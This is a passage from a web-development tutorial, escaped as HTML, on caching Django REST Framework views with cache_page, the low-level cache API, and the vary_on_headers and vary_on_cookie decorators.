style=&#34;color:#5af78e&#34;&gt;&amp;#39;-created&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    serializer_class &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; videogameSerializer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@method_decorator&lt;/span&gt;(cache_page(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)) &lt;span style=&#34;color:#78787e&#34;&gt;# 7200 segundos o 2 horas&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;list&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;super&lt;/span&gt;()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;list(&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how I have used the decorator in the &lt;em&gt;list()&lt;/em&gt; method of our &lt;em&gt;ModelViewSet&lt;/em&gt; and, to make it execute its normal function, I have called the &lt;em&gt;super()&lt;/em&gt; method with the same arguments.&lt;/p&gt;&#xA;&lt;p&gt;You can also cache the &lt;em&gt;dispatch()&lt;/em&gt; method for a solution that applies to the most used generic DRF classes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameViewSet&lt;/span&gt;(viewsets&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelViewSet):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;-created&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    serializer_class &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; videogameSerializer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@method_decorator&lt;/span&gt;(cache_page(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;dispatch&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;super&lt;/span&gt;(VideogameViewSet, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;dispatch(&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we execute the &lt;em&gt;curl&lt;/em&gt; command on the view to which we added the decorator, we will see that the cache-control header appears with the time we passed as argument.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -i http://127.0.0.1:8000/videogames/videogames/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Date: Sat, &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt; Aug &lt;span style=&#34;color:#ff9f43&#34;&gt;2021&lt;/span&gt; 00:45:57 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Server: WSGIServer/0.2 CPython/3.9.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Vary: Accept, Cookie&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Allow: GET, POST, HEAD, OPTIONS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Expires: Sat, &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt; Aug &lt;span style=&#34;color:#ff9f43&#34;&gt;2021&lt;/span&gt; 02:45:57 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Cache-Control: max-age&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;7200&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Frame-Options: DENY&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Length: &lt;span style=&#34;color:#ff9f43&#34;&gt;4991&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Content-Type-Options: nosniff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Referrer-Policy: same-origin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Server-Timing: TimerPanel_utime;&lt;span style=&#34;color:#ff5c57&#34;&gt;dur&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;40.300000000000004;&lt;span style=&#34;color:#ff5c57&#34;&gt;desc&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;User CPU time&amp;#34;&lt;/span&gt;, TimerPanel_stime;&lt;span style=&#34;color:#ff5c57&#34;&gt;dur&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;4.150000000000015;&lt;span style=&#34;color:#ff5c57&#34;&gt;desc&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;System CPU time&amp;#34;&lt;/span&gt;, TimerPanel_total;&lt;span style=&#34;color:#ff5c57&#34;&gt;dur&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;44.45000000000002;&lt;span style=&#34;color:#ff5c57&#34;&gt;desc&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Total CPU time&amp;#34;&lt;/span&gt;, TimerPanel_total_time;&lt;span style=&#34;color:#ff5c57&#34;&gt;dur&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;45.484066009521484;&lt;span style=&#34;color:#ff5c57&#34;&gt;desc&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Elapsed time&amp;#34;&lt;/span&gt;, SQLPanel_sql_time;&lt;span style=&#34;color:#ff5c57&#34;&gt;dur&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;4.948616027832031;&lt;span style=&#34;color:#ff5c57&#34;&gt;desc&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;SQL 2 queries&amp;#34;&lt;/span&gt;, CachePanel_total_time;&lt;span style=&#34;color:#ff5c57&#34;&gt;dur&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.33092498779296875;&lt;span style=&#34;color:#ff5c57&#34;&gt;desc&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Cache 1 Calls&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Django stores each cache entry per url, not per view, so if you use the same view for multiple urls, each url will be put in a different cache entry.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cache-by-value&#34;&gt;Cache by value&lt;/h2&gt;&#xA;&lt;p&gt;Here we are caching the result of a url, but what if we only want to cache the result of an expensive query or rendering, or perhaps a specific value?&lt;/p&gt;&#xA;&lt;p&gt;We can work directly with memcached using django, associating a key with a value and assigning it a lifetime. Once the lifetime has elapsed the value will be deleted and we will get &lt;em&gt;None&lt;/em&gt; if we try to access it.&lt;/p&gt;&#xA;&lt;p&gt;You can think of the cache as a Python dictionary with an expiration date.&lt;/p&gt;&#xA;&lt;p&gt;Caching by value allows us to create patterns like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework.response &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; yourApp.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Large&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; yourApp.api.serializers &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; LargeSerializer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.cache &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;LargeViewSet&lt;/span&gt;(viewsets&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Viewset):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;list&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        expensiveQueryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; cache&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;costlyQueryset&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# devuelve None si no existe&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; expensiveQueryset:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Response(expensiveQueryset)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        costlyQueryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Large&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        serializer &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; LargeSerializer(costlyQueryset)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# Una vez calculado lo guardamos en caché para no tener que calcularlo de nuevo&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        cache&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;set(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;costlyQueryset&amp;#39;&lt;/span&gt;, serializer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;data, &lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;180&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Response(serializer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;data)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we want to use default values if there is no value in the cache we pass the value as the second argument.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;expensiveValue&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;defaultValue&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also obtain multiple keys by passing a list of keys to the &lt;em&gt;get_many()&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_many([&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;key_1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;key_2&amp;#39;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And if we want to get rid of some value we use the &lt;em&gt;delete()&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;delete(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;key&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;cache-relying-on-cookies-headers-and-no-cache&#34;&gt;Cache relying on cookies, headers and no-cache&lt;/h2&gt;&#xA;&lt;p&gt;What if we want django to cache different versions of a response depending on a specific cookie or header? For example, one cache for the path &lt;em&gt;/videogames/&lt;/em&gt; with the CONFIG=1 cookie and another for the CONFIG=2 cookie. Or, or one cache for the path &lt;em&gt;/videogames/&lt;/em&gt; with the Firefox browser and another with the Chromium browser.&lt;/p&gt;&#xA;&lt;p&gt;We have decorators who are in charge of achieving exactly this.&lt;/p&gt;&#xA;&lt;h3 id=&#34;vary_on_headers&#34;&gt;vary_on_headers&lt;/h3&gt;&#xA;&lt;p&gt;vary_on_headers will set a different cache response for each different userAgent header. Remember that cookies are set using headers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.decorators.vary &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; vary_on_headers&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@vary_on_headers&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;User­Agent&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;different_view_per_user_agent&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@vary_on_headers&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;User­Agent&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Cookie&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;different_view_per_user_agent&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;vary_on_cookie&#34;&gt;vary_on_cookie&lt;/h3&gt;&#xA;&lt;p&gt;This decorator will create a different cache entry for each cookie that receives our view.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.decorators.vary &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; vary_on_headers&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@vary_on_cookie&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;different_view_per_cookie&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Since django keeps track of each individual session using cookies, we can cache the views per user&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework.response &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework.views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; APIView&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; viewsets&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;UserViewSet&lt;/span&gt;(viewsets&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Viewset):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Caché por usuario que dura 30 minutos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@method_decorator&lt;/span&gt;(cache_page(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;30&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@method_decorator&lt;/span&gt;(vary_on_cookie)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;list&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        newsfeed &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;user_newsfeed&amp;#39;&lt;/span&gt;: request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_user_newsfeed()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Response(newsfeed)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;other-cache-headers&#34;&gt;Other cache headers&lt;/h3&gt;&#xA;&lt;p&gt;We can directly modify the header cache-control directives by passing them as arguments to our decorator of the same name.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre 